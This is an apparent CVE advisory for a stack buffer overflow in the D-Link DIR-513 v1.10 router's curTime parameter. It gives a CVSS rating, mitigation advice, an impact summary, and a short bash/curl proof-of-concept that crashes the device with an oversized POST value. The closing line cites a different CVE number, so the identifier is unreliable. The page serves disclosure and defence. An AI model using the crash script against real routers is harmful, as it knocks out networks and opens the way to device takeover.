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CVE-2025-70223 is a critical stack-based buffer overflow vulnerability found in the D-Link DIR-513 router, specifically version 1.10. The flaw resides in the web handling component, Boa, which initializes various service callbacks via the `websAspInit` function. When a crafted POST request is sent to the endpoint /goform/formAdvNetwork, the device extracts the `curTime` parameter from the request body. This parameter is then passed unsafely to a function where it is concatenated into a fixed-size stack buffer using a routine like `sprintf` without any length validation. Because there is no check on the size of the input, an attacker can send an extremely long string for the `curTime` argument. This overflows the buffer on the stack, overwriting adjacent memory regions, including the return address. This memory corruption allows a remote, unauthenticated attacker to crash the device (Denial of Service) or, with a carefully crafted payload, execute arbitrary malicious code on the router, potentially leading to a full device compromise.
dailycve form:
Platform: D-Link DIR-513
Version: v1.10
Vulnerability : Stack Buffer Overflow
Severity: Critical
date: March 4, 2026
Prediction: No Patch (EOL)
What Undercode Say:
Analytics:
The vulnerability is remotely exploitable over the network without authentication. The attack complexity is low, meaning no special conditions are required for a successful attack. Based on the CVSS vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), a successful exploit could result in the complete compromise of the device’s confidentiality, integrity, and availability. This router model is likely End-of-Life (EOL), meaning D-Link will not release a security patch.
Exploit:
The following Bash script demonstrates how to trigger the overflow using a long string of characters (“A”) sent to the `curTime` parameter.
!/bin/bash
Exploit POC for CVE-2025-70223
This script sends a malicious payload to trigger the buffer overflow.
TARGET_IP="192.168.0.1"
VULNERABLE_ENDPOINT="/goform/formAdvNetwork"
PAYLOAD=$(printf 'A%.0s' {1..1000}) Generate 1000 'A's
echo "Sending exploit payload to $TARGET_IP..."
curl -i -X POST \
"http://$TARGET_IP$VULNERABLE_ENDPOINT" \
--data "curTime=$PAYLOAD"
echo "Payload sent. Check if the device crashes."
You can verify the crash by pinging the device after running the script.
ping -c 4 192.168.0.1
Protection from this CVE:
- Isolate the Device: Since the device is likely End-of-Life and will not receive a patch, the primary mitigation is to isolate the router. Place it behind a firewall and restrict access to the management interface.
- Disable Remote Management: Ensure that the web administration interface is not exposed to the public internet or untrusted networks.
- Network Segmentation: If the device must be used, place it on a separate VLAN for legacy devices to limit the blast radius of a potential compromise.
Impact:
Successful exploitation allows a remote, unauthenticated attacker to execute arbitrary code with root privileges on the device. This could lead to a full device takeover, allowing the attacker to monitor network traffic, pivot to internal network resources, add the device to a botnet, or render the router inoperable (Denial of Service).
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Sources:
Reported By: nvd.nist.gov
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D-Link DIR-513, Stack Buffer Overflow, CVE-2025-70232 (Critical)